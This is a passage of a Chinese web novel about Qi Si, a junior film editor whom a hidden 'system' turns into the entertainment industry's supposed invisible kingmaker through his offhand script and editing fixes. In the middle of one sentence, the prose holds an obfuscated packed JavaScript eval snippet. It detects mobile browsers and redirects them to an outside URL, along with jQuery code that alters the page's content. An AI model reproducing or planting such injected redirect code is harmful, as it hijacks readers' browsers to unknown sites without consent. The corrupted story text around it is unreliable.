“我……最近排班挺满的。”他努力找借口,“要不你们找专业的?” “你就是专业的。”导演很真诚,“你在就行,你不需要做什么。” “对,你就来片场坐着。”制片人补充,“我们会给你单独准备一间休息室,写字随便写,不写也没关系。” 顶流在旁边点头:“你就偶尔看我一眼,说我哪里别扭就行。” — 资本那边的动作更直接。 某天晚上,齐司下班,打卡机旁边的走廊灯光昏黄,墙上的应急灯闪了一下。他刚刷完卡,手机震动,弹出一条陌生号码的短信: 【齐先生您好,我们是XX资本,诚挚邀请您担任我们新成立的文娱专项基金顾问,年薪面议,可不坐班。】 紧接着第二条: 【齐总您好,我们YY投资愿意为您个人设立一支跟投基金,您只需决定是否参与项目,我们负责其余全部操作。】 第三条来自一个平台高层的私人微信: 【小齐,有空出来喝杯咖啡?我们想听听你对明年内容趋势的看法。】 齐司看着“齐总”两个字,沉默三秒,把手机锁屏,提着背包往地铁站走。 地铁站里,灯光冷白,站台上的广告屏循环播放着他参与过的几个项目的片花——那句爆红的台词,那条封神的长镜头,还有综艺里嘉宾被关在棚里抓狂的画面。 屏幕右下角的数据条在不断刷新:“播放量 3.2 亿”“讨论量 180 万”“话题阅读 12 亿”。 他站在屏幕前等车,背后有人小声说:“听说这几个项目背后有同一个人操盘。” “哪个大佬?” “具体不知道,好像是个不露面的庄家,专门挑项目,只要他点头,项目就飞。” — 网上的舆论也开始自动往他这边靠。 某个项目因为剪辑节奏太快,被部分观众吐槽“眩晕”,剪辑师被挂在热搜上。有人翻出幕后花絮,发现齐司在剪辑室门口递过一杯咖啡,被误认成剪辑师本人。 一时间,话题“#神秘剪辑师#”冲上热搜,评论两极分化,有人夸,有人骂。 系统界面在他视野边缘轻轻一闪: 【检测到舆论偏差。】 【行业趋势自动校正中……】 不到半小时,另一个营销号发出澄清:“那位只是路过的编务小哥,真正的剪辑师是××。”底下评论自动转向:“路过的也被骂,别乱扣帽子。”“人家只是递了杯咖啡。” 舆论风向从“剪辑拉胯”变成“幕后工作人员不易”,项目本身的讨论度却被顺势抬高,播放量再涨一截。 齐司在公司走廊的自动售货机前,投了一瓶冰可乐,拉开拉环时,手机上弹出系统提示: 【当前世界进度:98%。】 【行业共识已固化:只要齐司参与,项目就一定成。】 【宿主行业身份:隐形庄家(默认掌控行业趋势)。】 他咬开可乐罐,冰气冲上鼻腔,打了个小小的嗝,完全没看见那行“掌控行业趋势”。 在他看不见的地方,一份份项目企划书在不同公司的会议室里被摊开,第一页的“核心资源”一栏里,被默契地加上同一个名字: 【关键参与人:齐司(形式不限,参与即视为成功信号)。】 平台的内容排期表上,某一列被标注成浅灰色:“待齐司确认”。投资委员会的决策模型里,多了一条隐藏权重:“齐司参与=优先级+3”。 资本的风向、导演的选角、明星的档期、平台的排播,像是被一只看不见的手轻轻拧了一下方向盘,全都朝着同一个人汇聚。 而那个人,正拎着一瓶喝了一半的可乐,站在公司后门的台阶上,看着天色发暗,心里只盘算着一件事: “今天能不能准点回家?” 后门那条窄巷子里,灯管刚亮,冷白色的光打在潮湿的水泥地上,反着一点虚假的亮。齐司把可乐瓶拧紧,准备往外走,手机震了一下。 “齐司,你在哪儿?”是执行制片的电话,背景里一片嘈杂,“赶紧来一趟三号棚,导演要炸了。” “我下班了。”他条件反射。 “加个班,救个命。”那边直接挂断。 齐司叹口气,把可乐塞进旁边垃圾桶,往棚里走。走廊里灯光偏黄,墙上贴着今天的拍摄通告,红笔圈出来的几场戏旁边写着“重点”“难点”。 三号棚里灯光打得刺眼,顶上四组大功率LED顶灯全开,地上铺着轨道,摄影机停在中段,监视器前围着一圈人。导演坐在折叠椅上,耳麦挂在脖子上,脸色阴得像棚顶的黑旗。 “卡!”导演又一次吼停,声音透过扩音喇叭在棚里炸开,“这场戏是吵架,不是朗诵会!你们两个是在背台词吗?” 男女主站在布景搭出来的客厅里,女主妆发精致,眼线拉得很长,男主衬衫领口解开两颗扣子,手里还捏着刚刚摔下去又被道具组捡回来的剧本。两个人都憋着一股气,眼神却虚浮。 齐司刚走进来,就被执行制片一把拽过去:“你终于来了。” “我只是路过。”他强调。 “路过也行,你就……随便看看。”执行制片把他往监视器前一推。 监视器上回放刚才那条,镜头是中景,机位略微仰拍,灯光把两个人脸上的妆都照得有点假,台词一出口,空气里都是“表演痕迹”。 编剧抱着本子站在一边,眼睛里全是心疼:“我写的不是这样的。” 导演烦躁地把耳麦往桌上一摔:“台词太死,节奏太死,情绪全是假的。谁写的这页?” 编剧弱弱举手:“我……” 导演正要开骂,一抬头看见齐司:“你怎么来了?” “被叫来的。”齐司说。 导演愣了一下,脸色立刻缓和:“正好,你帮我看看这页。就这一页,吵架那段。” 编剧立刻把剧本递过去,纸边都被翻得起毛。那一页上密密麻麻的台词,标着ABAB的对话,几乎没有停顿。 齐司本来想说“我不懂表演”,但导演和编剧、执行制片、场记全都盯着他。他只想快点结束,好回家。 他随手翻了一下,指尖在纸上滑过,停在一处:“这儿太整齐了。” “哪儿?”编剧凑过来。 “你看,”齐司随口,“这两句‘你从来没问过我想要什么’、‘你从来没在乎过我’,意思差不多,语气也一样,演员一说就会像念台词。把前面那句改成具体一点的事,比如‘你连我生日是哪天都不知道’,后面那句留着,前后就有层次了。” 编剧“哦”了一声,飞快在纸上划掉一行,写上新的。 齐司又往下看:“这儿你让他解释一大段,太长了。人吵架的时候不会这么有逻辑。你把这段拆成三句,中间加点打断、重复。” 他随手在空白处写了几个词:“‘你别扯远的’、‘你现在说这些有用吗’之类的,演员自己会接。” 导演眼睛亮了一下:“对,吵架要打断。” 齐司把剧本往后一翻:“最后这句‘我们都累了’,别说。你让他闭嘴,停两秒,直接摔门走。镜头给背影和门震一下的声音,比台词有力。” 导演猛地点头:“行,就按你说的来。” 齐司把剧本递回去:“就改这一页吧,我得——” “来来来,马上试一条!”导演根本没给他走的机会,冲场记挥手,“按新台词,三号机准备特写,二号机拉中景,灯光把主光往右移一点,给男主脸上留点阴影。” 灯光师立刻调整,顶灯右侧那组压下来,打在男主侧脸,另一边留出一条暗线,整个人的情绪一下子沉了。 “准备——”导演戴上耳麦,“三、二、一,开始!” 女主深吸一口气,再开口时,声音不再是平平的台词:“你连我生日是哪天都不知道。” 这句一出,棚里安静了一瞬。 男主愣了一下,眼神里真的有了被戳到的慌乱:“你……你别扯远的,我们现在说的是——” “你每次都这样!”女主打断他,声音抖了一下,“你现在说这些有用吗?” 两个人的台词突然有了缝隙,呼吸、停顿、抢话,全都自然地串在一起。男主那段原本一整块的解释,被他自己拆成了几句,情绪一点点堆上去。最后,他张了张嘴,什么也没说,手指在门把手上用力一拧,门“砰”地一声关上,镜头跟着门震了一下。 “卡!”导演猛地站起来,眼睛发亮,“就这样!太好了!” 监视器前回放,刚才那一段吵架戏,节奏像被人精准剪了一遍,情绪起伏清晰,台词里那几句“你连我生日是哪天都不知道”“你现在说这些有用吗”,自然得像生活里吵过无数次的情侣。 编剧盯着那页被涂改得乱七八糟的纸,喃喃:“就改了几句……” 执行制片看向齐司:“你刚刚,是不是干过编剧?” “没有。”齐司说,“我只是想快点拍完。” 这场戏当天就杀青了。剪辑师晚上加班,把这段粗剪塞进样片里,顺手发给平台的内容审核。平台审核部的小姑娘看样片的时候,正好跟男朋友吵完架,一看到这段,眼眶一热,直接把那两句台词截成小视频,发给了负责宣发的同事:“这段太真实了,先做个预热短视频?” 第二天早上,短视频平台的首页上,一个还没定档的剧的片段突然冲上热榜。画面是女主红着眼睛问:“你连我生日是哪天都不知道。”弹幕刷满了“好真实”“这不就是我男朋友吗”“编剧懂吵架”。 那两句台词被剪成无数个二创,配上不同情侣的照片、聊天记录、分手文案,24小时内播放量破亿。剧名被顺带挂在角落里,评论区有人问:“这剧什么时候播?” 平台后台的数据曲线猛地往上窜,内容运营的会议室里,投影屏幕上那条代表“预热关注度”的蓝线,像被人从中间拎了一把,直冲云霄。运营总监敲着桌子:“谁改的这页台词?” 宣发同事翻资料:“原剧本是编剧写的,但这页有手改痕迹,备注上写了一个名字……齐司。” 会议室里安静了一秒。 “又是他?”总监皱眉,“上次那个综艺的剪辑点子也是他提的吧?” “对,还有之前那个小成本网剧,他临时改了个结局,结果口碑爆了。” “行。”总监在排期表上,把这部剧的档期后面加了三个字:“重点推”,又在备注栏写了一行:“齐司参与。” …… 三号棚那边,刚收工,摄影组那台主机机身突然亮起一排红灯,监视器画面一闪一闪,跳帧、卡顿、曝光忽明忽暗。 “怎么回事?”导演脸色一变。 摄影指导蹲在机位旁边,手忙脚乱地检查线缆:“不知道啊,刚才还好好的,一收工就出问题。” 数据工程师从机后面钻出来,额头上都是汗:“刚刚导出来的素材有几段跳帧,曝光也怪,像是自动档乱了。” “那场吵架戏的素材呢?”导演立刻问。 “在这块卡里。”数据工程师举起一张存储卡,“但刚才导的时候,这块卡也闪了一下,我现在不敢动。” 导演脸都白了:“那场戏重拍不出来了。” 执行制片四处看人:“谁会弄这个?” 所有人都摇头。 齐司站在一边,背着包,已经把手机拿出来准备叫车。他看了眼那台主机,机身侧面开着一个小盖子,里面的风扇灰尘厚得吓人。 “你们这机器多久没清过灰了?”他随口问了一句。 摄影指导一愣:“上……上个月?” “风扇卡住了,过热会死机。”齐司走过去,蹲下身,伸手按了两下机身侧面的重置键,又把电源线拔了插、插了拔,顺手把那块存储卡拔出来,吹了两口灰,再插回去。 “别乱动——”数据工程师话还没说完,主机“滴”地一声,所有红灯熄灭,风扇重新转起来,监视器上的画面恢复正常。 “再导一遍。”齐司站起来,“先把那场戏单独备份三份。” 数据工程师战战兢兢地照做,进度条一点点往前走。导完之后,他打开刚才那场吵架戏的素材,原本担心的跳帧没有出现,反而—— “诶?”他盯着屏幕,“这曝光怎么……” 监视器上,吵架戏的原素材里,灯光像是被重新校准过。女主说“你连我生日是哪天都不知道”那一刻,她眼睛里的高光刚好被捕捉到,泪光一闪,镜头自动微微拉近了一个焦距 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939320|192918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,背景虚化得刚刚好。 男主转身摔门的那一瞬间,画面里门板的纹理、他肩膀的线条、灯光打在他后颈上的那一块阴影,全都清晰得像是精心设计过。门关上的“砰”声被机内麦克风收得极干净,连门框轻微震动的声音都听得见。 “这曝光怎么这么准?”摄影指导皱眉,“刚才现场看监视器的时候,没这么好看啊。” 数据工程师飞快调出原始参数,一看,机器的曝光曲线在那场戏里自动做了一次微调,ISO、快门、光圈都在几秒内轻微变化过,最后停在一个完美的组合上。 “这不科学啊。”他喃喃,“我们没动过自动档。” 导演看着那段素材,整个人都安静了。刚才他还担心这场戏的质感,结果现在,镜头里的每一帧都像是被后期做过精修。连他原本觉得有点多余的一个眼神,放在这光线里,都变成了“神来之笔”。 “这镜头……”导演低声说,“封神了。” 执行制片回头看齐司:“你刚才,按了什么?” “重启。”齐司说,“和你家路由器卡了重启是一个道理。” “就按了两下?”摄影指导难以置信。 “嗯。”齐司背好包,“那没事了吧?我可以走了吧?” 导演眼睛还黏在监视器上,头也不回:“走吧走吧,辛苦了。” …… 他以为这天终于能回家,结果刚走出棚门,手机又响了。 “齐司?”是公司投资部的负责人,声音里带着一点讨好,“你明天有空吗?有个项目想请你来……随便看看。” “我不是投资部的。”齐司说。 “不是不是,就是……你路过一下也行。”那边笑得很谦卑,“我们这边有个老项目,快烂尾了,大家都有点拿不准,你就来坐一会儿,喝杯咖啡。” “我明天排了剪辑。”齐司随口找借口。 “剪辑可以挪一挪嘛。”负责人立刻说,“你就半小时,半小时。” 齐司沉默两秒,想到如果不去,可能又要被上面点名,干脆答应:“早上十点。” 第二天,投资部会议室。 落地窗外是灰蓝色的城市天际线,会议桌上摊着厚厚一摞企划书,投影幕布上挂着一个项目名:《南城旧事》。这是个三年前立项的文艺片,导演换了两个,主演换了三拨,资金链断了又接,现在卡在“要不要继续砸钱”的节点。 投资部的人脸色都不太好看,财务把PPT翻到一页,红色的负数刺眼:“目前已投入成本三千五百万,回收预期——”后面是一长串保守到近乎绝望的数字。 “导演有点名气,但不算号召力。”市场部的人说,“题材又是小众文艺,院线不爱排,平台那边的报价也不高。” “要不止损?”有人提议。 “止损就等于承认这三年白干了。”另一个人反驳。 所有人争论不休,唯一的共识是——这个项目很难看见希望。 投资部负责人看了看时间,咳了一声:“那个,齐司来了。” 会议室的门被推开,齐司拎着一杯便利店咖啡走进来,头发还带着刚洗完没吹干的湿气。他一进门,所有人的眼神都刷地聚焦过来。 “你们继续。”他下意识说。 “不不不,我们就是等你。”负责人笑着把他请到主位旁边,“你随便坐,随便看看,有什么想法就说。” “我没想法。”齐司说,“我对投资不懂。” “你就……从内容角度看看?”市场部的人立刻递过来一本剧本,“听说你对剧本很有感觉。” 齐司被迫接过,随手翻了几页。纸张有点发黄,边角卷起,显然在不同人的手里辗转过很多次。 故事是一个南方小城的旧厂区,讲一群在城市化浪潮中被边缘化的小人物。气质很文艺,节奏很慢,台词很多,镜头设计在企划里写得很美,但他一眼就看出一个问题——太“正”。 “你们想卖给谁看?”他问。 会议室里一愣。 “文艺青年?”市场部试探。 “那你们现在的剧本,是给电影节评委看的。”齐司翻到中段,“普通观众看不完。” 投资部负责人忙问:“那怎么办?” “你们有没拍完的素材?”齐司问。 “有。”制片人赶紧打开电脑,调出一个文件夹,“这是前两任导演拍的素材,风格有点不统一。” “给我看一段。”齐司说。 投影幕布上开始放素材。第一任导演拍的,镜头长、构图讲究,光线柔和,色调偏暖;第二任导演拍的,手持多、运动镜头多,色调偏冷,剪辑点乱。 “你们现在打算怎么办?”齐司问。 “我们本来想再找一个导演重拍一部分,把风格统一一下。”制片人说,“但再拍就要再花钱。” “你们平台那边有短剧频道吧?”齐司突然问投资部负责人。 “有。”负责人点头,“现在短剧很火。” “那你们为什么一定要把它当院线电影卖?”齐司抬眼看他,“把它拆成短剧。” 会议室里安静了两秒。 “拆成短剧?”市场部的人皱眉,“这故事节奏这么慢,短剧观众会看吗?” “你们现在有两种风格的素材。”齐司说,“暖色长镜头可以当回忆,冷色手持当现实。把故事线拆成十几条,每条围绕一个人物,做成十分钟一集的短剧。用现实段落开头,回忆穿插进去,节奏自然就快了。” 他指了指屏幕上的一段素材:“比如这个,工厂拆迁那场戏,你们现在拍得很完整,但可以拆成三段:拆迁前的争吵、拆迁中的混乱、拆迁后的空地。每一段都可以当一集的高潮。” “可是我们已经报的是电影项目……”制片人犹豫。 “平台现在不是在推‘院线同源短剧’吗?”齐司说,“你们先把短剧剪出来,挂在短剧频道,打‘电影同源’的标签。等短剧火了,再把电影版当‘导演剪辑版’上线。” 投资部负责人眼睛一亮:“一鱼两吃?” “你们现在的素材,电影版肯定要重剪。”齐司说,“短剧版可以先用现有素材试水,反正已经是烂尾项目了,多一个出口不亏。” 市场部的人飞快在本子上记:“短剧版、电影版、同源、互导流……” “那你觉得,观众会看吗?”有人问。 “你们把拆迁、工厂、老城这些关键词打出去,再配上几个情绪点——比如工人最后一次上班打卡、厂牌被拆下来那一刻——短视频平台会给你们推。”齐司说,“现在大家爱看这种‘旧时代结束’的情绪。” 投资部负责人看着他:“那你愿不愿意,在这个项目上挂个名字?比如……内容顾问?” “我只是路过。”齐司说。 “路过参与也行。”负责人立刻说,“我们就写‘特别鸣谢’。” “别写我名字。”齐司本能拒绝。 “那写个缩写?”制片人试探,“Q.S.?” “随便。”齐司只想结束这个话题,“你们自己看着办。” 会议结束后,投资部立刻行动。剪辑室里灯光昏暗,几台机器同时开工,剪辑师们把原本按电影节奏排布的素材拆得七零八落,重新按人物线、情绪点拼接。每一集的结尾都卡在一个“拆迁进行到一半”的瞬间,留足悬念。 平台短剧频道的排期表上,《南城旧事·短剧版》被临时插入到一个原本空着的档期,备注栏写着:“试水项目(Q.S.参与)”。 短剧上线第一天,数据平平。第二天,有个生活区的博主剪了其中一段——一个老工人最后一次打卡的镜头,配上“再见了,我的二十年”这句台词,发到了自己的账号上。 那段视频意外地戳中了无数打工人的心。评论区里全是“像极了我离职那天”“看哭了”“这就是我爸当年下岗的样子”。算法捕捉到这波情绪,开始疯狂推送类似内容。 第三天,《南城旧事·短剧版》的播放曲线在后台数据面板上突然拐了个弯,从缓慢上升变成几乎垂直的直线。运营部的屏幕上,那条代表“完播率”的绿色曲线一路冲到平台平均值的两倍。 短剧的热度反向带动了对“电影版”的好奇。话题#南城旧事电影版什么时候上线#悄悄爬上热搜尾部,网友在评论区里催更:“想看大银幕版。” 投资部的会议室里,财务把最新的预估收益表投到屏幕上,原本一片红的负数后面,多了一列绿色的预期收入。投资部负责人看着那串数字,整个人都松了一口气:“这项目,活了。” “谁提的短剧方案?”有人问。 “Q.S.。”制片人说。 “Q.S.是谁?” “就是齐司。” 会议室里一片沉默,随后有人低声说:“他又踩对了。” …… 消息在业内传得飞快。 某个导演群里,有人发了个截图,是平台后台的项目列表。上面《南城旧事·短剧版》后面备注栏清清楚楚写着:“Q.S.参与”。 “原来这个烂尾项目是他救的?”一个导演发语音,“我前两年还被拉去看过样片,当时真觉得没救了。” “你们谁有他微信?”另一个导演问,“我新项目缺个顾问。” “他在我们公司。”有人回,“但他不接项目。” “那你们公司真是捡到宝了。” 与此同时,各大资本的会议室里,风向也在悄悄变。 某娱乐基金的决策模型界面上,多了一项隐藏参数:“Q.S.参与权重:+3”。风控部门的人在模型说明里写道:“根据过往数据,凡Q.S.参与项目,ROI显著高于平均值。” 另一个平台的内容排期表上,有一整列被标成浅灰色,标题是“待Q.S.确认”。每个项目后面都备注:“参与形式不限(顾问/剪辑/编剧/挂名均可)。” 资本开始误判——或者说,开始统一一种误判:齐司,是一个“风口捕捉体质”的人。 他出现的地方,就是风口。 于是,项目企划书里多了一行标准化的需求:“争取Q.S.参与(哪怕挂名)。”预算表里甚至专门划出一项:“Q.S.参与费用(预留)。” 有人笑称:“现在不写他名字,项目都不好意思拿出去见人。” 20. 第 20 章 …… 齐司完全不知道这些。 他这几天最大的烦恼,是自己的下班时间越来越不稳定。 原本他只是剪辑部的一个编外,按点上下班,偶尔被拉去帮忙看个样片、提个意见。现在,他走在公司走廊上,都会被人拦住。 “齐老师,我有个剧本想请你帮忙看看,只要一页。” “齐司,你有空吗?我们新综艺想听听你的想法。” “齐哥,帮我看个角色设定,我总觉得不太对。” 他每次都想说“不”,但对方总会加一句:“就一眼,随便提两句。” 他随口提两句,项目就会自动往好的方向跑。 有一次,一个刚签进公司的新人演员在化妆间门口堵住他,眼线画到一半,眼尾还贴着胶带:“齐哥,我明天要试镜一个女二,角色是那种表面大大咧咧、内心敏感的,你说我应该怎么演啊?” 齐司正拿着一杯热水,准备回剪辑室。他不想浪费时间,随口说:“你别演‘大大咧咧’,你就演一个努力装大大咧咧的人。” 新人愣住:“啊?” “你平时说话是不是会想很多?”齐司问。 “会。”新人点头。 “那你就让观众看到你想很多,但角色在装没事。”齐司说,“比如别人开你玩笑,你笑得很大声,但眼睛别笑太多。台词说‘我无所谓’,手指却捏一下衣角。” 新人一边点头一边在手机备忘录里飞快记:“眼睛别笑太多……捏衣角……” 第二天,试镜现场。 灯光打在新人脸上,摄影机架在正中,导演和制片人坐在监视器前。新人进场,笑得很灿烂,台词一出口,声音爽朗:“我无所谓啊。” 但她说这句话的时候,眼睛里明显有一瞬间的闪躲,手指在衣角上轻轻一捏,又松开。那种“故作洒脱”的感觉一下子被捕捉到。 导演看着监视器,眼睛一亮:“就是她。” 新人当场定角。几个月后,这部剧播出,她这个女二凭借“装大大咧咧”的角色爆红,剪辑出来的高光片段在短视频平台上刷屏,大家都在模仿她那句“我无所谓啊”和那个捏衣角的小动作。 娱乐新闻的标题是:【新晋小花演技自然,被业内大佬指点一语点醒。】配图里,她在采访里说:“当时有位前辈跟我说了一句‘你别演大大咧咧,你就演一个努力装大大咧咧的人’,我一下就懂了。” 评论区里有人问:“这位前辈是谁?”下面有人回复:“好像是他们公司一个很神秘的老师,叫齐司。” …… 导演们也开始主动围着他转。 公司大会议室里,一个新项目的创意会正在进行。墙上贴满了角色设定图、场景草图,桌上摆着几台笔记本电脑,屏幕上是不同风格的参考片段。 总导演正在讲解一个镜头设计:“这一场,我们想用长镜头,一镜到底,从后台走到台前,展现主角的心理变化。” 制片人皱眉:“一镜到底风险太大了,演员状态要稳,技术也要跟上。” “我们可以多拍几条。”导演坚持。 “你们问问齐司的意见。”坐在主位的公司高层突然说。 齐司正坐在角落里,手边放着一杯已经凉了的咖啡,原本只是来帮忙放样片的。他被点名,只能抬头:“我?” “你觉得呢?”导演看着他,“一镜到底好,还是拆镜头好?” “你们预算多少?”齐司问。 制片人报了一个数字。 “那你们一镜到底,拍废一条就要多花多少钱?”齐司算了一下,“而且演员要演几遍同样的情绪,很难保持新鲜感。” 导演有点不甘心:“可是长镜头很有气势。” “你可以假装一镜到底。”齐司说。 会议室里安静了一下。 “什么意思?”导演问。 “你们可以拍成三段。”齐司说,“第一段从后台走到侧台,第二段从侧台走到台口,第三段是上台后的近景。中间用演员的背影、推轨过道具的特写、灯光切换做无缝衔接。观众看起来像是一镜到底,其实你们有三个缓冲点。” 他指了指墙上的场景图:“比如这里,后台到侧台这段,你们可以让一个工作人员推着衣架从镜头前经过,顺着衣架的布料做一次遮挡切。再比如从侧台到台口,你们可以利用灯光暗下来的瞬间做一次切。” 导演越听眼睛越亮:“对,这样既有一镜到底的感觉,又不用承担那么大风险。” 制片人也松了口气:“成本也可控。” “那你帮我们把这场戏的分镜大概画一下?”导演立刻把纸和笔推到他面前。 “我不是分镜师。”齐司说。 “你随便画,我们让分镜师细化。”导演笑得很诚恳,“就当是……你路过一下。” 齐司看了眼时间,知道自己今天又别想准点下班了。他拿起笔,在纸上随手画了几个机位移动的箭头,标了几个“遮挡切”“灯光切”的点。 这场戏后来拍出来,剪辑师照着他的分镜把三个段落无缝拼接,观众在弹幕里刷屏:“这长镜头太牛了吧!”“一镜到底好有代入感!” 幕后花絮里,导演在访谈中说:“这场戏的设计,多亏了我们团队里一位很重要的人,他总能在关键时候给出一个特别精准的建议。” 主持人问:“是谁?” 导演笑着说:“他不喜欢出镜,就不提名字了。” 网友们自动脑补出一个“神秘幕后大佬”的形象,论坛里有人发帖:【业内传闻:某公司有个隐形庄家,参与哪个项目哪个项目就火。】 楼里有人回复:“你说的是不是那个叫齐什么的?” “齐司。”另一个ID很肯定,“我朋友在平台,说现在他们那边有个隐藏规则:只要项目里出现他名字,优先级直接+3。” “真的假的?” “你去看最近几个爆款,多少都有他挂名。” …… 资本的嗅觉一向敏锐。 某头部视频平台的高层会议上,内容总监把一份名单摊在桌上:“这是我们接下来半年要重点争取的核心资源:一线导演、头部编剧、顶流艺人,还有——” 他停顿了一下,指向最后一行。 【特别资源:齐司(参与形式不限)。】 “我们要想办法,把他签成平台顾问。”内容总监说,“哪怕只是挂名。” 商务部的人苦笑:“我们已经去谈过了,他本人好像完全不在意这些。” “那就从项目入手。”高层拍板,“我们把最好的项目都给他挑,先让他参与,再慢慢谈。” 于是,齐司的邮箱里,开始疯狂涌入各种项目邀请:剧本、综艺企划、电影大纲、纪录片方案,甚至还有一个偶像选秀的全案。 每一封邮件的措辞都惊人一致:“希望您能以任何形式参与(顾问/剪辑/脚本/挂名均可)。” 他看着那一长串未读邮件,只觉得头疼。 “我只是想按点下班。”他对着屏幕小声说。 可外面的世界,已经默认他是“隐形庄家”。 舆论也在自动站在他这边。 某次,一个项目因为档期问题被迫调整,网友在网上骂平台“乱排期”。有人扒出这个项目的幕后名单,发现上面有“特别鸣谢:齐司”几个字,立刻有人发帖:“别骂了,这项目有齐司,肯定不会差。” 评论区里,原本的骂声渐渐被好奇取代:“那就等等看吧。”“有他在,我愿意给机会。” 另一次,一个艺人在采访里提到:“我能拿到这个角色,多亏了齐老师给我提的一个建议。”记者追问“齐老师是谁”,艺人笑着说:“我们公司的一个前辈,他不喜欢出镜。” 第二天,热搜上出现了一个话题:#神秘齐老师是谁#。有人翻出各种蛛丝马迹,把不同项目里的“特别鸣谢”“内容顾问”“Q.S.”连成一条线,最后指向同一个名字——齐司。 “他是不是在操盘整个行业?”有营销号发长文分析,配上各种数据曲线、项目时间线、热度对比图,结论是:“齐司,可能是当下娱乐产业背后最重要的隐形推手之一。” 评论区里,有人质疑:“你们想多了吧,人家可能只是运气好。” 但很快,就有人贴出更多证据:某综艺的爆款剪辑点、某剧的经典台词、某电影的逆袭宣发,全都能在幕后名单里找到他的名字。 “这已经不是运气了,这是体质。”有人说,“风口自动往他那儿跑。” 行业内逐渐形成一个共识:只要齐司参与,项目就一定成。 于是,导演们在拉投资时,会顺带提一句:“我们争取到了齐司的顾问。”制片人在跟平台谈排期时,会强调:“这个项目有齐司参与。”资本在内部评估项目时,会问:“他在不在?” 齐司本人,对这一切一无所知。 他每天照旧在剪辑室里对着时间线拉拉扯扯,偶尔被叫去会议室提两句意见,或者被某个演员堵在走廊上问角色。他唯一明显感觉到的变化,是自己的工位旁边多了一把椅子,几乎从来不空着——总有人坐在那里,拿着本子,等他“随口说两句”。 他想低调,想当个编外小助理,想准点下班。 但在所有项目的流程图里,他已经被默认为“隐藏最大作用的人”。 数据面板上的曲线、热搜页面上的话题、会议室里的决策权重、艺人口中的“齐老师”,一层一层,把他推到了一个他从未打算去的位置—— 隐形庄家,掌控行业趋势。 而他,只是在某个加班的夜里,揉了揉酸胀的眼睛,看了眼时间,心里默默算着: “再剪完这一条,我就走。” 剪完那一条,时间线上的小方块对齐到整点,监视器里最后一帧停在演员的半侧脸上,眼神刚好落在虚焦的灯光里。 齐司按下保存,起身伸懒腰。 门被人从外面推开,走廊的冷白灯一下子灌进来,带着外面还没散尽的烟味和咖啡味。 “齐老师。”是编剧组的小姑娘,抱着一摞打印好的纸,眼下青黑,“能不能帮我看一页?就一页,导演说明天要拍,我总觉得哪儿不对劲……” 她把纸摊在剪辑台上,是一场对手戏,男女主在雨夜吵架,台词密密麻麻,标注着各种情绪提示:愤怒、崩溃、压抑。 齐司只想回家,脑子里已经在盘算回去要不要点个外卖。 “你们不是已经过了三轮桌读?”他随口问。 “是过了,可是演员总演不出来,导演说戏不顺,今天又改了一版,我看着还是别扭……”小姑娘眼巴巴地看着他,工位旁那把椅子已经被她自觉拉过来坐下。 齐司叹了口气,拿起红笔,随手圈了几句。 “这段太满了。”他指着一整行的情绪宣泄,“你让他别解释那么多,删掉三分之二,只留一句‘你从来没问过我想要什么’。” 他又在女主那边划掉一串“我为了你放弃了什么什么”,只留了一个“那你有问过吗”。 “雨夜嘛,声音会被打散,台词别太长,留点空白给表情。”他把两句台词的位置往前挪了两行,“你把这句提前,让男主在她转身之前说出来,打断她动作,情绪会更自然。” 他写了几个箭头,改了两个标点,把一页纸弄得乱七八糟。 “就这样吧。”他把笔一丢,“我真得走了。” 小姑娘抱着那一页纸,眼睛亮得跟捡到宝似的:“谢谢齐老师!” 第二天,雨夜那场戏在棚里搭景。二十多个灯架把人造雨打成一层银灰色的帘子,顶光压下来,演员脸上被雨水和高光混成一片。收音师在监视器旁边皱着眉,担心雨声盖过台词。 导演坐在监视器前,眼下同样青黑,手里捏着那一页被红笔改得面目全非的剧本。 “按这版来?”副导有点犹豫。 “按这版。”导演咬了咬牙,“齐司改的。” “那没问题。”副导立刻换了口气,像是拿到了某种免死金牌。 机位架在轨道上,摄影机从雨帘外缓缓推进,镜头前的水珠一颗颗砸在镜头罩上,形成一圈虚焦的光晕。 “Action!” 男主站在雨里,浑身湿透,呼吸发抖。女主背对着他,撑着伞,伞檐被雨打得啪啪作响。 原本那一大段“你知不知道我为了你怎么样怎么样”的控诉不见了,只剩下几句短短的对话。 女主:“那你以后就当没认识过我。” 她刚要迈步,男主那句被提前的台词,硬生生插进了她的动作里。 “你从来没问过我想要什么。” 雨声一下子像被压低了,收音师手指在推子上微微一顿。 女主停住,背影僵了一下。 镜头从男主脸上掠过,捕捉到他眼里那一瞬间的空白——不是愤怒,是突然意识到什么的茫然。 女主缓缓回头,眼睛里全是水,分不清是雨还是泪。 “那你有问过吗。” 两句台词,之间隔着一秒的雨声。 导演在监视器前猛地坐直,原本准备喊停的手举到一半,顿住了。 这段戏拍完,棚里的雨停,灯光一点点被关掉,刚才那两句台词已经被现场反复低声复述了好几遍。收音师回放了一遍原声,雨声下的那两句,清晰得像是直接说在耳边。 “这台词谁改的?”男主裹着毛巾,嘴里还在念叨,“太顺了,刚好卡在那个点上,情绪就上来了。” “齐老师。”编剧组的小姑娘骄傲地说。 那两句台词当天晚上就被剪成粗剪样片,放进内部群里。有人顺手截了个十几秒的小视频,发到一个只有业内人的小号上,配文:“雨夜吵架戏,台词改了两句,整场都活了。” 视频被转发到几个营销号的私群里,剪辑师们一看那两句台词前后留的空白,立刻嗅到了“二创空间”的味道——可以加BGM,可以做情绪向,可以做CP向,可以做反转解读。 不到两天,“你从来没问过我想要什么”“那你有问过吗”这两句,成了各个平台的热评常驻。情感博主拿它写长文,短视频博主拿它配各种情侣吵架、职场对线、亲子矛盾,弹幕里刷屏的全是这两句。 话题词自动爬上热搜榜单,数据曲线在后台像被人拉了一把,陡然上扬。 而齐司,完全不知道这两句台词已经成了“年度情绪金句”。 他那天晚上回到剪辑室,刚坐下准备继续拉时间线,监视器突然一黑,时间线上的画面开始跳帧,像被人用剪刀随意剪断又粘上。 